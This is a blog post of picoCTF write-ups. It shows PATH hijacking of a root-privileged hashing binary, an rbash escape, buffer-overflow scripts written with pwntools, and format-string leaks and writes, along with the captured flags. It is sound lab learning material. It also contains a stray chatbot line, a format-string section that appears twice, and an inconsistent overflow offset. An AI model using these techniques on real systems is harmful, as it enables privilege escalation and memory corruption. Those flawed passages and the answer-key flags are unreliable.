1279 words
6 minutes
picoctf - writeup

hash only 1#

initial look#

ran the binary:

Terminal window
./flaghasher

output:

computing the md5 hash of /root/flag.txt....
7779dbbe8c1228e3a7a3970faa41a89c /root/flag.txt

looks like it just hashes the flag. tempting to crack md5, but pico usually doesn’t do that.

recon#

checked for dangerous functions:

Terminal window
strings flaghasher | grep system

result:

system error: system() call returned non-zero value

so it uses system(), which is a classic target.

assembly analysis#

alt text

looking at main:

  • prints a message using std::cout
  • prints newline twice
  • calls sleep(2)
  • constructs a string (likely /root/flag.txt)
  • calls setgid(0)
  • later (not shown in snippet) calls system() to execute md5sum

key takeaway:

  • program likely runs something like md5sum /root/flag.txt
  • uses system() → command lookup depends on $path

c translation (from assembly)#

#include <iostream>
#include <string>
#include <unistd.h>
int main() {
std::cout << "computing the md5 hash of /root/flag.txt...." << std::endl;
std::cout << std::endl;
sleep(2);
std::string s = "/root/flag.txt";
setgid(0);
return 0;
}

exploit idea: path hijacking#

since system() is used, and it probably calls md5sum without full path, we can override it.

Here’s a cleaned, properly formatted version of your Markdown with consistent structure, code blocks, and capitalization:

Exploit Steps#

1. Create Fake md5sum#

Terminal window
echo '#!/bin/sh' > md5sum
echo 'cat /root/flag.txt' >> md5sum
chmod +x md5sum

2. Prepend Current Directory to PATH#

Terminal window
export PATH=$(pwd):$PATH

3. Run Binary#

Terminal window
./flaghasher

Result#

alt text

picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_bb95ff8e}

Why It Works#

  • The binary uses system() via /bin/bash -c
  • md5sum is not called with a full path
  • bash resolves it using $PATH
  • We control $PATH
  • Our fake md5sum runs instead
  • The binary executes it with elevated privileges

Final#

flag = picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_bb95ff8e}

hash only 2#

initial look#

ssh into the challenge:

Terminal window
ssh ctf-player@rescued-float.picoctf.net -p 64519

you land in a restricted shell (rbash):

  • no sudo
  • su doesn’t work
  • can’t access /challenge
  • commands are limited

so first problem isn’t the binary, it’s the shell.

escaping restricted shell#

just run:

Terminal window
bash

this drops you into a normal shell: alt text

ctf-player@challenge:~$

now you can modify environment variables like $PATH, which is what we need.

recon#

check for interesting binaries:

Terminal window
ls /usr/local/bin

you’ll find:

flaghasher

run it:

Terminal window
flaghasher

output:

computing the md5 hash of /root/flag.txt....
ecbb7393ae1660f00340b6194d5bf6a6 /root/flag.txt

same behavior as hash only 1.

so again:

  • it hashes /root/flag.txt
  • probably uses system()
  • likely calls md5sum without full path

this means path hijacking should work again.

exploit – path hijacking#

create a fake md5sum in current directory:

Terminal window
echo '#!/bin/sh' > md5sum
echo 'cat /root/flag.txt' >> md5sum
chmod +x md5sum

alt text

prepend current directory to path:

Terminal window
export PATH=$(pwd):$PATH

run the binary again:

Terminal window
flaghasher

result#

instead of hashing, it executes our fake script:

picoctf{co-@uth0r_of_sy5tem_b!n@ries_364b3672}

why it works#

  • binary uses system() to run md5sum
  • md5sum is not called with absolute path
  • shell resolves it using $PATH
  • we control $PATH
  • our fake md5sum runs instead
  • binary runs it with elevated privileges

final flag#

picoctf{co-@uth0r_of_sy5tem_b!n@ries_364b3672}

echo escape 1#

initial look#

ran the service:

Terminal window
nc mysterious-sea.picoctf.net 58747

output:

welcome to the secure echo service!
please enter your name:

it echoes back whatever we send.

recon#

look at the source:

char buf[32];
read(0, buf, 128);

this is immediately suspicious:

  • buffer is 32 bytes
  • read allows 128 bytes
  • classic overflow

there is also a hidden function:

void win()

that prints the flag.

behavior testing#

sending increasing input:

  • small input → works
  • long input → program crashes

example:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB

crashes → confirms overwrite past buffer.

stack layout#

64-bit binary, so:

[ buf (32) ]
[ saved rbp (8) ]
[ return address (8) ]

offset to return address:

32 + 8 = 40 bytes

exploit idea#

overwrite return address with address of win()

payload:

"A"*40 + win_addr

exploit#

from pwn import *
payload = b"A"*40 + p64(0x401256)
p = remote("mysterious-sea.picoctf.net", 58747)
p.send(payload)
p.interactive()

result#

alt text program jumps to win() and prints the flag.

why it works#

  • read() ignores buffer size
  • overflow overwrites return address
  • function returns → jumps to win()

final#

flag = picoCTF{3ch0_s3rv1c3_br34k5_7287203f}

echo escape 2#

initial look#

ran binary:

Terminal window
./vuln

output:

enter the secret key:

input gets echoed back.

recon#

source:

char buf[32];
fgets(buf, 128, stdin);

again:

  • buffer is 32 bytes
  • fgets reads 128 bytes
  • still vulnerable

there is also:

void win()

prints the flag.

assembly check#

Terminal window
objdump -d ./vuln | grep win

result:

08049276 <win>

so:

  • 32-bit binary
  • win address = 0x08049276

stack layout#

32-bit:

[ buf (32) ]
[ saved ebp (4) ]
[ return address (4) ]

offset to return address:

40 + 4 = 44 bytes

exploit idea#

same as before: overwrite return address → jump to win()

payload:

"A"*44 + win_addr

exploit#

from pwn import *
context.arch = 'i386'
win_addr = 0x08049276
payload = b"A" * 44 + p32(win_addr)
p = remote("dolphin-cove.picoctf.net", 51291)
p.recvuntil(b":")
p.sendline(payload)
print(p.recvall())
p.close()

notes#

  • must use p32() (32-bit)
  • offset is 44
  • fgets may include newline, so sendline is usually fine

result#

alt text execution returns into win() and prints the flag.

why it works#

  • fgets is misused with wrong size
  • overflow overwrites return address
  • control flow redirected to win()

final#

flag = picoCTF{fgets_0v3rfl0w42_bc4aa3d4}

format string 1#

initial look#

ran binary:

Terminal window
./format-string-1

output:

give me your order and i'll read it back to you:

input gets echoed back.

recon#

source (important part):

char buf[1024];
scanf("%1024s", buf);
printf("here's your order: ");
printf(buf);

observations:

  • user input stored in buf
  • printed using printf(buf) → format string vulnerability
  • no format specifier → user controls format behavior

also:

char secret1[64];
char flag[64];
char secret2[64];

→ sensitive data stored on stack

binary check#

connect via netcat:

Terminal window
nc mimas.picoctf.net 64059

output indicates a 64-bit service running, so:

  • architecture: x86-64
  • little endian
  • arguments passed in registers (important later)

exploit idea#

since:

printf(buf);

→ we control format string

goal:

  • leak memory using %x / %p
  • find flag on stack

stack probing#

because of:

scanf("%s", buf);

→ input stops at whitespace

so payload must NOT contain spaces alt text

used:

%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p.%17$p.%18$p.%19$p.%20$p

leak result#

output:

0x1.0x7ffe89a3a580.(nil).(nil).
0x7b4654436f636970
0x355f31346d316e34
0x3478345f33317937
0x34365f673431665f
0x7d363131373732
...

important values:

0x7b4654436f636970
0x355f31346d316e34
0x3478345f33317937
0x34365f673431665f
0x7d363131373732

analysis#

these are:

  • 64-bit values
  • each = 8 bytes
  • represent ascii
  • stored in little endian

so: must reverse bytes per chunk

decoding#

chunk 1:

0x7b4654436f636970
→ bytes: 70 69 63 6f 43 54 46 7b
→ ascii: picoctf{

chunk 2:

0x355f31346d316e34
→ 34 6e 31 6d 34 31 5f 35
→ 4n1m41_5

chunk 3:

0x3478345f33317937
→ 37 79 31 33 5f 34 78 34
→ 7y13_4x4

chunk 4:

0x34365f673431665f
→ 5f 66 31 34 67 5f 36 34
→ _f14g_64

chunk 5:

0x7d363131373732
→ 32 37 37 31 31 36 7d
→ 277116}

final flag#

picoctf{4n1m41_5_7y13_4x4_f14g_64277116}

notes#

  • %p leaks stack values
  • 64-bit → leaks are 8 bytes at a time
  • little endian → reverse bytes before ascii
  • no need for %s in this challenge
  • avoid spaces due to scanf("%s")

why it works#

  • printf(buf) lets user control format string
  • %p reads unintended memory
  • flag stored on stack → leaked directly
  • decoding reveals full flag

format string 2

initial look
ran binary:

Terminal window
./vuln

output:

You don’t have what it takes. Only a true wizard could change my suspicions. What do you have to say?

input gets echoed back.


recon

observed behavior:

  • input is printed back using printf
  • no format string specified → likely printf(buf)

this indicates a format string vulnerability


security check

Terminal window
checksec —file=vuln

result:

  • Partial RELRO
  • No canary
  • NX enabled
  • No PIE

so:

  • addresses are static (important)
  • global variables have fixed addresses

target identification

in gdb:

Terminal window
p &sus

result:

0x404060

so:

  • sus is a global variable
  • stored in .data
  • writable
  • fixed address (no PIE)

initial value:

0x21737573 → “sus!”

goal:

overwrite sus with:

0x67616c66 → “flag”


finding offset

sent probe:

AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

output showed:

0x2e70252e41414141

→ contains 41414141 (“AAAA”)

counting position:

offset = 14


exploit idea

use format string to perform arbitrary write:

  • place target address in input
  • use %n-family specifiers to write value
  • control write using padding

since 64-bit:

  • use %hhn (byte-wise writes)
  • more reliable than %n

payload strategy

write 4 bytes of:

0x67616c66

into:

0x404060

using:

  • fmtstr_payload
  • offset = 14
  • byte-wise writes

exploit

from pwn import *

context.binary = ’./vuln’

host = “rhea.picoctf.net” port = 63110

sus = 0x404060 offset = 14

io = remote(host, port)

io.recvuntil(b”What do you have to say?\n”)

payload = fmtstr_payload(offset, {sus: 0x67616c66}, write_size=‘byte’)

io.sendline(payload)

io.interactive()


result

program output:

I have NO clue how you did that, you must be a wizard. Here you go…

picoCTF{f0rm47_57r?_f0rm47_m3m_ccb55fce}


why it works

  • printf(buf) introduces format string vulnerability
  • attacker controls format specifiers
  • %n allows writing to arbitrary memory
  • no PIE → sus address is predictable
  • global variable is writable
  • byte-wise writes ensure precise overwrite

control flow depends on value of sus, so modifying it triggers success condition

format string 2#

initial look#

ran binary:

Terminal window
./vuln

output:

you don't have what it takes. only a true wizard could change my suspicions. what do you have to say?

input gets echoed back.

recon#

observed behavior:

  • input is printed back using printf
  • no format string specified → likely printf(buf)

this indicates a format string vulnerability

security check#

Terminal window
checksec --file=vuln

result:

  • partial relro
  • no canary
  • nx enabled
  • no pie

so:

  • addresses are static (important)
  • global variables have fixed addresses

target identification#

in gdb:

p &sus

result:

0x404060

so:

  • sus is a global variable
  • stored in .data
  • writable
  • fixed address (no pie)

initial value:

0x21737573 → "sus!"

goal: overwrite sus with:

0x67616c66 → "flag"

finding offset#

sent probe:

aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

output showed:

0x2e70252e41414141

→ contains 41414141 (“aaaa”)

counting position:

offset = 14

exploit idea#

use format string to perform arbitrary write:

  • place target address in input
  • use %n-family specifiers to write value
  • control write using padding

since 64-bit:

  • use %hhn (byte-wise writes)
  • more reliable than %n

payload strategy#

write 4 bytes of:

0x67616c66

into:

0x404060

using:

  • fmtstr_payload
  • offset = 14
  • byte-wise writes

exploit#

from pwn import *
context.binary = './vuln'
host = "rhea.picoctf.net"
port = 63110
sus = 0x404060
offset = 14
io = remote(host, port)
io.recvuntil(b"what do you have to say?\n")
payload = fmtstr_payload(offset, {sus: 0x67616c66}, write_size='byte')
io.sendline(payload)
io.interactive()

result#

alt text

program output:

i have no clue how you did that, you must be a wizard. here you go...
picoctf{f0rm47_57r?_f0rm47_m3m_ccb55fce}

why it works#

  • printf(buf) introduces format string vulnerability
  • attacker controls format specifiers
  • %n allows writing to arbitrary memory
  • no pie → sus address is predictable
  • global variable is writable
  • byte-wise writes ensure precise overwrite
  • control flow depends on value of sus, so modifying it triggers success condition
picoctf - writeup
https://frqblog.vercel.app/posts/picoctf-writeup/
Author
frqblog
Published at
2026-05-02
License
CC BY-NC-SA 4.0